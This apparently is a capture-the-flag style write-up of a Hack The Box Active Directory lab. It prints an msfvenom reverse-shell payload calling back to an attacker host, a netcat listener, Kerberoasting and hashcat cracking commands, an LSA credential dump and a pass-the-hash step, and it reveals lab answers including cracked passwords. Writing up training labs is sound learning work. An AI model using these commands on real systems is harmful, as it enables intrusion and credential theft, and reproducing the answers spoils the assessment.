This is a write-up about the skills assessment lab AD Enumeration & Attacks module from Hack The box.
As the content is long, I divided the same based on the questions that needs to be answered in the skill assessment.
Q1 - Submit the contents of the flag.txt file on the administrator Desktop of the web server
Accessing the Web-shell using the shared credentials, I confirmed the system access on the web-server, and managed to get the flag without any additional technique.
webshell flag1 |
Q2 - Kerberoast an account with the SPN MSSQLSvc/SQL01.inlanefreight.local:1433 and submit the account name as your answer
At this point the things were getting interesting, I decided to create and upload a reverse shell to the web server to better enumerate the host. This can be done as per the three steps below:
- generate the payload with msfvenon: msfvenom -p windows/shell_reverse_tcp LHOST=<ATTACK HOST> LPORT=4444 -f exe > Test1.exe
- start the netcat on the Attack host: nc -vlnp 4444
- Upload the payload file to the web-server and execute it.
After that, using the query below in a powershell terminal, I found the account svc_sql as the account name.
Get-DomainObject -LDAPFilter "(servicePrincipalName=MSSQLSvc/SQL01.inlanefreight.local:1433)" -Properties samaccountname
SPN - account svc_sql |
Q3 - Crack the account's password. Submit the cleartext value.
As I had SYSTEM session, I uploaded the PowerView to perform the Kerberoasting attack and retrieve the TGS ticket from svc_sql.
Get-DomainUser -Identity svc_sql | Get-DomainSPNTicket -Format Hashcat
kerberoating |
After that, I moved the hash to a file and cracked the password offline, which revealed the password 'lucky7':
hashcat -m 13100 svc_sql_tgs /usr/share/wordlists/rockyou.txt
password cracking |
Q4 - Submit the contents of the flag.txt file on the Administrator desktop on MS01
Using the svc_sql credential, I connected straight to MS01 and retrieved the flag.
flag 4 |
Q5 - Find cleartext credentials for another domain user. Submit the username as your answer.
To Answer this question and the following ones, I decided to use the webserver as a pivot host, so that I could perform some tests directly from the linux attack host.
I established the tunnelling using ligolo-ng, you may find more about this technique on my previous post.
Finally, I used CrackMapExec to dump the LSA data from the MS01 machine’s IP, which revealed the cleartext credentials for the user tpetty.
lsa dump MS01 |
The answer is also in the image above; Sup3rS3cur3D0m@inU2eR
Q7 - What attack can this user perform?
dcsync abuse |
Finally, I connected to the DC01 using Administrator's hash through pass the hash technique.